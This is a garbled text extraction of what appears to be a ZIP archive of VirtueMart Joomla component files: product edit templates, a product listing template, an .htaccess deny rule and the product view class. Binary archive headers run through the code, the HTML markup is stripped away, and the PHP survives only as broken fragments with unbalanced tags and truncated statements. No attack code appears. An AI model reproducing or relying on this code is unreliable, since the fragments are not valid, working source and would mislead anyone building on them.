jQuery('
    PKsl>\rhu,,jcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit_customer.phpnuW+A
    JText::_ ('COM_VIRTUEMART_PRODUCT_SHOPPERS'), 'notify' => JText::_ ('COM_VIRTUEMART_PRODUCT_WAITING_LIST_USERLIST'), ); $mail_default = 'notify'; if (VmConfig::get ('stockhandle', 0) != 'disableadd' or empty($this->waitinglist)) { echo ''; } else { echo VmHtml::radioList ('customer_email_type', $mail_default, $mail_options); } ?>




    lists['OrderStatus'];?>

    product->product_name)); ?>
    productShoppers); ?>
    waitinglist)) { ?>
    waitinglist) && count ($this->waitinglist) > 0) { $i=0; foreach ($this->waitinglist as $key => $wait) { if ($wait->virtuemart_user_id == 0) { $row = ''; } else { $row = ''; } echo $row; $i = 1 - $i; } } else { ?>
    ' . $wait->notify_email . '
    ' . $wait->name . '' . $wait->username . '' . '' . $wait->notify_email . '' . '
    '; echo JText::sprintf('COM_VIRTUEMART_AD_ACY',$aflink); ?>
    PKsl>\H!!gcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit_price.phpnuW+A
    */ ?>
    */ ?>
    lists['currencies']; ?> lists['shoppergroups']; ?>
      vendor_currency; ?> lists['taxrates']; ?>
    ' . $this->taxRules ?>
    vendor_currency; ?> lists['discounts']; ?>
    DBTaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
    ' . $this->DBTaxRules . '
    '; } if (!empty($this->DATaxRules)) { echo JText::_ ('COM_VIRTUEMART_RULES_EFFECTING') . '
    ' . $this->DATaxRules; } // vmdebug('my rules',$this->DBTaxRules,$this->DATaxRules); echo JText::_('COM_VIRTUEMART_PRODUCT_FORM_DISCOUNT_EFFECTING').$this->DBTaxRules; ?>
    tempProduct->product_price_publish_up, 'mprices[product_price_publish_up][]'); ?> tempProduct->product_price_publish_down, 'mprices[product_price_publish_down][]'); ?>
    vendor_currency; ?>
    JText::_ ('JNO'), 1 => JText::_ ('JYES')); // echo VmHtml::radioList ('mprices[use_desired_price][' . $this->priceCounter . ']', $this->tempProduct->override, $options); echo '' ?>
    product->override); $options = array(0 => JText::_ ('COM_VIRTUEMART_OVERWRITE_OFF'), 1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_FINAL'), -1 => JText::_ ('COM_VIRTUEMART_OVERWRITE_PRICE_TAX')); echo VmHtml::radioList ('mprices[override][' . $this->priceCounter . ']', $this->tempProduct->override, $options,'',' '); ?>

    PKsl>\KLmcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit_description.phpnuW+A
    editor->display('product_desc', $this->product->product_desc, '100%;', '450', '75', '20', array('pagebreak', 'readmore') ) ; ?>
    product); ?>
    PKsl>\ %n+n+\com_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/default.phpnuW+A'); $search_type = JRequest::getVar('search_type', 'product'); // OSP in view.html.php $virtuemart_category_id = JRequest::getInt('virtuemart_category_id', false); if ($product_parent_id=JRequest::getInt('product_parent_id', false)) $col_product_name='COM_VIRTUEMART_PRODUCT_CHILDREN_LIST'; else $col_product_name='COM_VIRTUEMART_PRODUCT_NAME'; ?>
    productlist ?> lists['filter_order_Dir'], $this->lists['filter_order'] ); ?> */ ?> virtuemart_category_id ) { ?> productlist) ) { $i = 0; $k = 0; $keyword = JRequest::getWord('keyword'); foreach ($this->productlist as $key => $product) { $checked = JHTML::_('grid.id', $i , $product->virtuemart_product_id,null,'virtuemart_product_id'); $published = JHTML::_('grid.published', $product, $i ); $is_featured = $this->toggle($product->product_special, $i, 'toggle.product_special'); $link = 'index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$product->virtuemart_product_id; ?> virtuemart_product_id.'&option=com_virtuemart'); ?> virtuemart_category_id ) { ?> virtuemart_product_id; ?>
    sort('product_name',$col_product_name) ?> sort('product_parent_id','COM_VIRTUEMART_PRODUCT_CHILDREN_OF'); ?> sort('product_sku') ?> sort('product_price', 'COM_VIRTUEMART_PRODUCT_PRICE_TITLE') ; ?> sort('pc.ordering', 'COM_VIRTUEMART_FIELDMANAGER_REORDER'); ?> productlist); //vmCommonHTML::getSaveOrderButton( $num_rows, 'changeordering' ); ?> sort('mf_name', 'COM_VIRTUEMART_MANUFACTURER_S') ; ?> sort('product_special', 'COM_VIRTUEMART_PRODUCT_FORM_SPECIAL'); ?> sort('published') ; ?> sort('p.virtuemart_product_id', 'COM_VIRTUEMART_ID') ?>
    product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT').' '.$product->product_name)); ?> product_parent_id ) { VirtuemartViewProduct::displayLinkToParent($product->product_parent_id); } ?> virtuemart_product_id , $product->product_name); ?> $mediaLimit = (int)VmConfig::get('mediaLimit',20); if($this->pagination->limit<=$mediaLimit or $total<=$mediaLimit){ // Product list should be ordered $this->model->addImages($product,1); $img = '('.$product->mediaitems.')'.$product->images[0]->displayMediaThumb('class="vm_mini_image"',false ); //echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); } else { //echo JHTML::_('link', $link, ' ('.$product->mediaitems.')', array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name) ); $img = ' ('.$product->mediaitems.')'; } echo JHTML::_('link', $link, $img, array('title' => JText::_('COM_VIRTUEMART_MEDIA_MANAGER').' '.$product->product_name)); ?> product_sku; ?> product_price_display)) { echo $product->product_price_display; } elseif(!empty($product->prices)) { echo JText::_('COM_VIRTUEMART_MULTIPLE_PRICES'); } else { echo JText::_('COM_VIRTUEMART_NO_PRICE_SET'); } ?> virtuemart_category_id.'&option=com_virtuemart'), $product->category_name); echo $product->categoriesList; ?> pagination->orderUpIcon( $i, true, 'orderup', JText::_('COM_VIRTUEMART_MOVE_UP'), $product->ordering ); ?> pagination->orderDownIcon( $i, $total , true, 'orderdown', JText::_('COM_VIRTUEMART_MOVE_DOWN'), $product->ordering ); ?> ordering ); ?> virtuemart_manufacturer_id) { echo JHTML::_('link', JRoute::_('index.php?view=manufacturer&task=edit&virtuemart_manufacturer_id[]='.$product->virtuemart_manufacturer_id.'&option=com_virtuemart'), $product->mf_name); } ?> reviews); ?> virtuemart_product_id; // echo $product->vendor_name; ?>
    pagination->getListFooter(); ?>
    addStandardHiddenToForm(); ?>
    virtuemart_category_id ) { ?> PKsl>\{Eacom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit.phpnuW+Aeditor = JFactory::getEditor(); ?>
    product->virtuemart_product_id ); // Loading Templates in Tabs END ?> addStandardHiddenToForm(); ?>
    addScriptDeclaration( 'jQuery(window).load(function(){ jQuery.ajaxSetup({ cache: false }); })'); ?> PKsl>\kW]u]com_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/massxref.phpnuW+Atask=='massxref_cats' or $this->task=='massxref_cats_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'category'.DS.'tmpl'.DS.'default.php'); } if($this->task=='massxref_sgrps' or $this->task=='massxref_sgrps_exe'){ include(JPATH_VM_ADMINISTRATOR.DS.'views'.DS.'shoppergroup'.DS.'tmpl'.DS.'default.php'); }PKsl>\$**hcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit_custom.phpnuW+Aproduct->customfields_fromParent)) { ?> '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .''; /*$tables['fields'] .= ' ';*/ } else { $tables['fields'] .= ''; } $i++; } } $emptyTable = ' '; ?>
    '.$this->customsList; ?>
    '','products'=>'','fields'=>'','customPlugins'=>'',); if (isset($this->product->customfields)) { foreach ($this->product->customfields as $customfield) { if ($customfield->is_cart_attribute) $cartIcone= 'default'; else $cartIcone= 'default-off'; if ($customfield->field_type == 'Z') { // R: related categories $tables['categories'] .= '
    '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
    '; } elseif ($customfield->field_type == 'R') { // R: related products $tables['products'] .= '
    '.$customfield->display.' '. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
    '; } elseif ($customfield->field_type == 'G') { // no display (group of) child , handled by plugin; } elseif ($customfield->field_type == 'E'){ $tables['fields'] .= '
    '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_('COM_VIRTUEMART_CUSTOM_EXTENSION').'
    '.JText::_($customfield->custom_title).' '.$customfield->display.$customfield->custom_tip.''. VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i).' .'
    '.JText::_($customfield->custom_title).' '.$customfield->display.' '.JText::_($this->fieldTypes[$customfield->field_type]). VirtueMartModelCustomfields::setEditCustomHidden($customfield, $i) .'
    '.JText::_( 'COM_VIRTUEMART_CUSTOM_NO_TYPES').'
    PKsl>\ G lcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit_dimensions.phpnuW+A
    lists['product_lwh_uom'];?>
    lists['product_weight_uom'];?>
      lists['product_iso_uom'];?>
     
    PKsl>\"FFmcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/product_edit_information.phpnuW+A
    langList; ?>
    product->virtuemart_product_id ?> lists['manufacturers'])) { ?> '; }?> product->ordering)) { $this->product->ordering = 0; ?>
    lists['manufacturers'];?> productLayouts, 'layout', 'size=1', 'value', 'text', $this->product->layout); ?>
    shoppergroupList; ?> lists['vendors'];?> '; }?>
    activeShoppergroups); ?> product; if (empty($this->product->prices)) { $this->product->prices[] = array(); } $this->i = 0; $rowColor = 0; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); $currency_model = VmModel::getModel ('currency'); $currencies = $currency_model->getCurrencies (); $nbPrice = count ($this->product->prices); $this->priceCounter = 0; $this->product->prices[$nbPrice] = $this->product_empty_price; if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } $calculator = calculationHelper::getInstance (); ?> product->prices); foreach ($this->product->prices as $sPrices) { if(count($sPrices) == 0) continue; if (empty($sPrices['virtuemart_product_price_id'])) { $sPrices['virtuemart_product_price_id'] = ''; } //vmdebug('my $sPrices ',$sPrices); $sPrices = (array)$sPrices; $this->tempProduct = (object)array_merge ((array)$this->product, $sPrices); $this->calculatedPrices = $calculator->getProductPrices ($this->tempProduct); if((string)$sPrices['product_price']==='0' or (string)$sPrices['product_price']===''){ $this->calculatedPrices['costPrice'] = ''; } $currency_model = VmModel::getModel ('currency'); $this->lists['currencies'] = JHTML::_ ('select.genericlist', $currencies, 'mprices[product_currency][' . $this->priceCounter . ']', '', 'virtuemart_currency_id', 'currency_name', $this->tempProduct->product_currency); $DBTax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING') ; foreach ($calculator->rules['DBTax'] as $rule) { $DBTax .= $rule['calc_name'] . '
    '; } $this->DBTaxRules = $DBTax; $tax = ''; //vmText::_('COM_VIRTUEMART_TAX_EFFECTING').'
    '; foreach ($calculator->rules['Tax'] as $rule) { $tax .= $rule['calc_name'] . '
    '; } foreach ($calculator->rules['VatTax'] as $rule) { $tax .= $rule['calc_name'] . '
    '; } $this->taxRules = $tax; $DATax = ''; //vmText::_('COM_VIRTUEMART_RULES_EFFECTING'); foreach ($calculator->rules['DATax'] as $rule) { $DATax .= $rule['calc_name'] . '
    '; } $this->DATaxRules = $DATax; if (!isset($this->tempProduct->product_tax_id)) { $this->tempProduct->product_tax_id = 0; } $this->lists['taxrates'] = ShopFunctions::renderTaxList ($this->tempProduct->product_tax_id, 'mprices[product_tax_id][' . $this->priceCounter . ']'); if (!isset($this->tempProduct->product_discount_id)) { $this->tempProduct->product_discount_id = 0; } $this->lists['discounts'] = $this->renderDiscountList ($this->tempProduct->product_discount_id, 'mprices[product_discount_id][' . $this->priceCounter . ']'); $this->lists['shoppergroups'] = ShopFunctions::renderShopperGroupList ($this->tempProduct->virtuemart_shoppergroup_id, false, 'mprices[virtuemart_shoppergroup_id][' . $this->priceCounter . ']'); if ($this->priceCounter == $nbPrice) { $tmpl = "productPriceRowTmpl"; } else { $tmpl = "productPriceRowTmpl_" . $this->priceCounter; } ?> priceCounter++; } ?>
    */ ?> loadTemplate ('price'); ?>
    product->virtuemart_product_id) { $link=JROUTE::_('index.php?option=com_virtuemart&view=product&task=createVariant&virtuemart_product_id='.$this->product->virtuemart_product_id.'&token='.JUtility::getToken() ); $add_child_button=""; } else { $link=""; $add_child_button=" not-active"; } ?> product->product_parent_id) { $result = vmText::_('COM_VIRTUEMART_EDIT').' ' . $this->product_parent->product_name; echo ' | '.JHTML::_('link', JRoute::_('index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id='.$this->product->product_parent_id), $this->product_parent->product_name, array('title' => $result)).' | '.$this->parentRelation; } ?>
    product_childs)>0 ) { $customs = array(); if(!empty($this->product->customfields)){ foreach($this->product->customfields as $custom){ //vmdebug('my custom',$custom); if($custom->field_type=='A'){ $customs[] = $custom; } } } // vmdebug('ma $customs',$customs); ?> product_childs as $child ) { $i = 1 - $i; ?> custom_value; if(isset($child->$attrib)){ $childAttrib = $child->$attrib; } else { //vmdebug('unset? use Fallback product_name instead $attrib '.$attrib,$child); $childAttrib = $child->product_name; } ?>
    custom_value)))?> foo
    virtuemart_product_id), $child->slug, array('title' => vmText::_('COM_VIRTUEMART_EDIT').' '.$child->product_name)) ?> product_in_stock ?> product_ordered ?> virtuemart_product_id.'][published]', $child->published) ?>
    PKsl>\[com_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/index.htmlnuW+APKsl>\)Zcom_virtuemart_update/administrator/components/com_virtuemart/views/product/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKsl>\׻LQQYcom_virtuemart_update/administrator/components/com_virtuemart/views/product/view.html.phpnuW+AgetLayout()); vmdebug('VirtuemartViewProduct '.$task); $this->assignRef('task', $task); // Load helpers if (!class_exists('CurrencyDisplay')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'currencydisplay.php'); if (!class_exists('VmHTML')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'html.php'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $model = VmModel::getModel(); // Handle any publish/unpublish switch ($task) { case 'add': case 'edit': //this was in the controller for the edit tasks, we need this for the access by FE $this->addTemplatePath(JPATH_COMPONENT_ADMINISTRATOR.DS.'views'.DS.'product'.DS.'tmpl'); VmConfig::loadJLang('com_virtuemart_orders',TRUE); VmConfig::loadJLang('com_virtuemart_shoppers',TRUE); $virtuemart_product_id = JRequest::getVar('virtuemart_product_id', array()); if(is_array($virtuemart_product_id) && count($virtuemart_product_id) > 0){ $virtuemart_product_id = (int)$virtuemart_product_id[0]; } else { $virtuemart_product_id = (int)$virtuemart_product_id; } $product = $model->getProductSingle($virtuemart_product_id,false); //$product_parent= $model->getProductParent($product->product_parent_id); $product_parent= $model->getProductSingle($product->product_parent_id,false); $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown($product->virtuemart_manufacturer_id); $this->assignRef('manufacturers', $manufacturers); // Get the category tree if (isset($product->categories)) $category_tree = ShopFunctions::categoryListTree($product->categories); else $category_tree = ShopFunctions::categoryListTree(); $this->assignRef('category_tree', $category_tree); //Fallback for categories inherited by parent to correctly calculate the prices if(empty($product->categories) and !empty($product_parent->categories)){ $product->categories = $product_parent->categories; } //Get the shoppergoup list - Cleanshooter Custom Shopper Visibility if (isset($product->shoppergroups)) $shoppergroupList = ShopFunctions::renderShopperGroupList($product->shoppergroups); $this->assignRef('shoppergroupList', $shoppergroupList); // Load the product price if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $product_childIds = $model->getProductChildIds($virtuemart_product_id); $product_childs = array(); foreach($product_childIds as $id){ $product_childs[] = $model->getProductSingle($id,false); } $this->assignRef('product_childs', $product_childs); if(!class_exists('VirtueMartModelConfig')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'config.php'); $productLayouts = VirtueMartModelConfig::getLayoutList('productdetails'); $this->assignRef('productLayouts', $productLayouts); // Load Images $model->addImages($product); if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $vmtemplate = shopFunctionsF::loadVmTemplateStyle(); if(is_Dir(JPATH_ROOT.DS.'templates'.DS.$vmtemplate.DS.'images'.DS.'availability'.DS)){ $imagePath = '/templates/'.$vmtemplate.'/images/availability/'; } else { $imagePath = '/components/com_virtuemart/assets/images/availability/'; } $this->assignRef('imagePath', $imagePath); // Load the vendors $vendor_model = VmModel::getModel('vendor'); if(Vmconfig::get('multix','none')!=='none'){ $lists['vendors'] = Shopfunctions::renderVendorList($product->virtuemart_vendor_id); } // Load the currencies $currency_model = VmModel::getModel('currency'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $vendor_model->setId(Permissions::getInstance()->isSuperVendor()); $vendor = $vendor_model->getVendor(); if(empty($product->product_currency)){ $product->product_currency = $vendor->vendor_currency; } //$currencies = JHTML::_('select.genericlist', $currency_model->getCurrencies(), 'product_currency', '', 'virtuemart_currency_id', 'currency_name', $product->product_currency); $currency = $currency_model->getCurrency($product->product_currency); $this->assignRef('product_currency', $currency->currency_symbol); $currency = $currency_model->getCurrency($vendor->vendor_currency); $this->assignRef('vendor_currency', $currency->currency_symbol); if(count($manufacturers)>0 ){ $lists['manufacturers'] = JHTML::_('select.genericlist', $manufacturers, 'virtuemart_manufacturer_id', 'class="inputbox"', 'value', 'text', $product->virtuemart_manufacturer_id ); } if(!empty($product->product_weight_uom)){ // or !$task=='add' $product_weight_uom = $product->product_weight_uom; $product_unit = $product->product_unit; $product_lwh_uom = $product->product_lwh_uom; } else if(!empty($product_parent)){ $product_weight_uom = $product_parent->product_weight_uom; $product_unit = $product_parent->product_unit; $product_lwh_uom = $product_parent->product_lwh_uom; } else { $product_weight_uom = VmConfig::get('weight_unit_default'); $product_unit = VmConfig::get('weight_unit_default'); $product_lwh_uom= VmConfig::get('lwh_unit_default'); } $lists['product_weight_uom'] = ShopFunctions::renderWeightUnitList('product_weight_uom',$product_weight_uom); $lists['product_iso_uom'] = ShopFunctions::renderUnitIsoList('product_unit',$product_unit); $lists['product_lwh_uom'] = ShopFunctions::renderLWHUnitList('product_lwh_uom', $product_lwh_uom); if( empty( $product->product_available_date )) { $product->product_available_date = date("Y-m-d") ; } $waitinglistmodel = VmModel::getModel('waitinglist'); /* Load waiting list */ if ($product->virtuemart_product_id) { //$waitinglist = $this->get('waitingusers', 'waitinglist'); $waitinglist = $waitinglistmodel->getWaitingusers($product->virtuemart_product_id); $this->assignRef('waitinglist', $waitinglist); } $productShoppers = $model->getProductShoppersByStatus($product->virtuemart_product_id,array('S') ); $this->assignRef('productShoppers', $productShoppers); $orderstatusModel = VmModel::getModel('orderstatus'); $lists['OrderStatus'] = $orderstatusModel->renderOSList(array(),'order_status',TRUE); $field_model = VmModel::getModel('customfields'); $fieldTypes = $field_model->getField_types(); $this->assignRef('fieldTypes', $fieldTypes); // Add the virtuemart_shoppergroup_ids $cid = JFactory::getUser()->id; $this->activeShoppergroups = shopfunctions::renderGuiList('virtuemart_shoppergroup_id','#__virtuemart_vmuser_shoppergroups','virtuemart_user_id',$cid,'shopper_group_name','#__virtuemart_shoppergroups','virtuemart_shoppergroup_id','category', 4, 0); if(!$this->activeShoppergroups or (is_array($this->activeShoppergroups) and count($this->activeShoppergroups)==0)){ //vmdebug('$this->activeShoppergroups',$this->activeShoppergroups); $shoppergroupModel = VmModel::getModel('shoppergroup'); $this->activeShoppergroups = vmText::_($shoppergroupModel->getDefault(0)->shopper_group_name); } /* Load protocustom lists */ $customsList = $field_model->getCustomsList(); $attribs='style= "width: 300px;"'; $customlist = JHTML::_('select.genericlist', $customsList,'customlist', $attribs); $this->assignRef('customsList', $customlist); $ChildCustomRelation = $field_model->getProductChildCustomRelation(); $this->assignRef('ChildCustomRelation',$ChildCustomRelation); if ($product->product_parent_id > 0) { $parentRelation= $field_model->getProductParentRelation($product->virtuemart_product_id); $this->assignRef('parentRelation',$parentRelation); // Set up labels $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_ITEM_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_ITEM_MSG'); } else { if ($task == 'add') $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_NEW_PRODUCT_LBL'); else $action = JText::_('COM_VIRTUEMART_PRODUCT_FORM_UPDATE_ITEM_LBL'); $info_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_INFO_LBL'); $status_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_STATUS_LBL'); $dim_weight_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_DIM_WEIGHT_LBL'); $images_label = JText::_('COM_VIRTUEMART_PRODUCT_FORM_PRODUCT_IMAGES_LBL'); $delete_message = JText::_('COM_VIRTUEMART_PRODUCT_FORM_DELETE_PRODUCT_MSG'); } $this->assignRef('product', $product); $product_empty_price = array( 'virtuemart_product_price_id' => 0 , 'virtuemart_product_id' => $virtuemart_product_id , 'virtuemart_shoppergroup_id' => NULL , 'product_price' => NULL , 'override' => NULL , 'product_override_price' => NULL , 'product_tax_id' => NULL , 'product_discount_id' => NULL , 'product_currency' => $vendor->vendor_currency , 'product_price_publish_up' => NULL , 'product_price_publish_down' => NULL , 'price_quantity_start' => NULL , 'price_quantity_end' => NULL ); $this->assignRef ('product_empty_price', $product_empty_price); $this->assignRef('product_parent', $product_parent); /* Assign label values */ $this->assignRef('action', $action); $this->assignRef('info_label', $info_label); $this->assignRef('status_label', $status_label); $this->assignRef('dim_weight_label', $dim_weight_label); $this->assignRef('images_label', $images_label); $this->assignRef('delete_message', $delete_message); $this->assignRef('lists', $lists); // Toolbar if ($product->product_sku) $sku=' ('.$product->product_sku.')'; else $sku=""; if (!empty($product->canonCatLink)) $canonLink = '&virtuemart_category_id=' . $product->canonCatLink; else $canonLink = ''; if(!empty($product->virtuemart_product_id)){ if (!class_exists ('shopFunctionsF')) require(JPATH_VM_SITE . DS . 'helpers' . DS . 'shopfunctionsf.php'); $menuItemID = shopFunctionsF::getMenuItemId(JFactory::getLanguage()->getTag()); $text = ''. $product->product_name.$sku.''; } else { $text = $product->product_name.$sku; } $this->SetViewTitle('PRODUCT',$text); $this->addStandardEditViewCommands ($product->virtuemart_product_id); break; case 'massxref_cats': case 'massxref_cats_exe': $this->SetViewTitle('PRODUCT_MASSXREF'); if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); $showVendors = Permissions::getInstance()->check('admin'); $this->assignRef('showVendors',$showVendors); $keyWord =''; $catmodel = VmModel::getModel('category'); $this->assignRef('catmodel', $catmodel); //$this->addStandardDefaultViewCommands(); $this->addStandardDefaultViewLists($catmodel,'category_name'); $categories = $catmodel->getCategoryTree(0,0,false,$this->lists['search']); $this->assignRef('categories', $categories); $catpagination = $catmodel->getPagination(); $this->assignRef('catpagination', $catpagination); //$this->addStandardDefaultViewCommands(); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_cats_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT_EXE'), false); break; case 'massxref_sgrps': case 'massxref_sgrps_exe': $sgrpmodel = VmModel::getModel('shoppergroup'); $this->addStandardDefaultViewLists($sgrpmodel); $shoppergroups = $sgrpmodel->getShopperGroups(false, true); $this->assignRef('shoppergroups', $shoppergroups); $sgrppagination = $sgrpmodel->getPagination(); $this->assignRef('sgrppagination', $sgrppagination); $this->setLayout('massxref'); JToolBarHelper::custom('massxref_sgrps_exe', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS_EXE'), false); break; default: if ($product_parent_id=JRequest::getInt('product_parent_id',false) ) { $product_parent= $model->getProductSingle($product_parent_id,false); if($product_parent){ $title='PRODUCT_CHILDREN_LIST' ; $link_to_parent = JHTML::_('link', JRoute::_('index.php?view=product&task=edit&virtuemart_product_id='.$product_parent->virtuemart_product_id.'&option=com_virtuemart'), $product_parent->product_name, array('title' => JText::_('COM_VIRTUEMART_EDIT_PARENT').' '.$product_parent->product_name)); $msg= JText::_('COM_VIRTUEMART_PRODUCT_OF'). " ".$link_to_parent; } else { $title='PRODUCT_CHILDREN_LIST' ; $msg= 'Parent with product_parent_id '.$product_parent_id.' not found'; } } else { $title='PRODUCT'; $msg=""; } $this->db = JFactory::getDBO(); $this->SetViewTitle($title, $msg ); $this->addStandardDefaultViewLists($model,'created_on'); /* Get the list of products */ $productlist = $model->getProductListing(false,false,false,false,true); //The pagination must now always set AFTER the model load the listing $pagination = $model->getPagination(); $this->assignRef('pagination', $pagination); /* Get the category tree */ $categoryId = $model->virtuemart_category_id; //OSP switched to filter in model, was JRequest::getInt('virtuemart_category_id'); $category_tree = ShopFunctions::categoryListTree(array($categoryId)); $this->assignRef('category_tree', $category_tree); /* Load the product price */ if(!class_exists('calculationHelper')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'calculationh.php'); $vendor_model = VmModel::getModel('vendor'); $productreviews = VmModel::getModel('ratings'); foreach ($productlist as $virtuemart_product_id => $product) { $product->mediaitems = count($product->virtuemart_media_id); $product->reviews = $productreviews->countReviewsForProduct($product->virtuemart_product_id); $vendor_model->setId($product->virtuemart_vendor_id); $vendor = $vendor_model->getVendor(); $currencyDisplay = CurrencyDisplay::getInstance($vendor->vendor_currency,$vendor->virtuemart_vendor_id); if(!empty($product->product_price) && !empty($product->product_currency) ){ $product->product_price_display = $currencyDisplay->priceDisplay($product->product_price,(int)$product->product_currency,1,true); } /* Write the first 5 categories in the list */ $product->categoriesList = shopfunctions::renderGuiList('virtuemart_category_id','#__virtuemart_product_categories','virtuemart_product_id',$product->virtuemart_product_id,'category_name','#__virtuemart_categories','virtuemart_category_id','category'); } $mf_model = VmModel::getModel('manufacturer'); $manufacturers = $mf_model->getManufacturerDropdown(); $this->assignRef('manufacturers', $manufacturers); /* add Search filter in lists*/ /* Search type */ $options = array( '' => JText::_('COM_VIRTUEMART_LIST_EMPTY_OPTION'), 'parent' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_PARENT_PRODUCT'), 'product' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRODUCT'), 'price' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_PRICE'), 'withoutprice' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_TYPE_WITHOUTPRICE') ); $this->lists['search_type'] = VmHTML::selectList('search_type', JRequest::getVar('search_type'),$options); /* Search order */ $options = array( 'bf' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_BEFORE'), 'af' => JText::_('COM_VIRTUEMART_PRODUCT_LIST_SEARCH_BY_DATE_AFTER') ); $this->lists['search_order'] = VmHTML::selectList('search_order', JRequest::getVar('search_order'),$options); // Toolbar JToolBarHelper::custom('massxref_cats', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_CAT'), true); JToolBarHelper::custom('massxref_sgrps', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_XREF_SGRPS'), true); JToolBarHelper::custom('createchild', 'new', 'new', JText::_('COM_VIRTUEMART_PRODUCT_CHILD'), true); JToolBarHelper::custom('cloneproduct', 'copy', 'copy', JText::_('COM_VIRTUEMART_PRODUCT_CLONE'), true); JToolBarHelper::custom('addrating', 'default', '', JText::_('COM_VIRTUEMART_ADD_RATING'), true); $this->addStandardDefaultViewCommands(); $this->assignRef('productlist', $productlist); $this->assignRef('virtuemart_category_id', $categoryId); $this->assignRef('model', $model); break; } parent::display($tpl); } /** * This is wrong *@deprecated */ function renderMail() { $this->setLayout('mail_html_waitlist'); $this->subject = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_SUBJECT', $this->productName); $notice_body = JText::sprintf('COM_VIRTUEMART_PRODUCT_WAITING_LIST_EMAIL_BODY', $this->productName, $this->url); parent::display(); } /** * Renders the list for the discount rules * * @author Max Milbers */ function renderDiscountList($selected,$name='product_discount_id'){ if(!class_exists('VirtueMartModelCalc')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'calc.php'); $discounts = VirtueMartModelCalc::getDiscounts(); $discountrates = array(); $discountrates[] = JHTML::_('select.option', '-1', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NONE'), 'product_discount_id' ); $discountrates[] = JHTML::_('select.option', '0', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_NO_SPECIAL'), 'product_discount_id' ); // $discountrates[] = JHTML::_('select.option', 'override', JText::_('COM_VIRTUEMART_PRODUCT_DISCOUNT_OVERRIDE'), 'product_discount_id'); foreach($discounts as $discount){ $discountrates[] = JHTML::_('select.option', $discount->virtuemart_calc_id, $discount->calc_name, 'product_discount_id'); } $listHTML = JHTML::_('Select.genericlist', $discountrates, $name, '', 'product_discount_id', 'text', $selected ); return $listHTML; } static function displayLinkToChildList($product_id, $product_name) { $db = 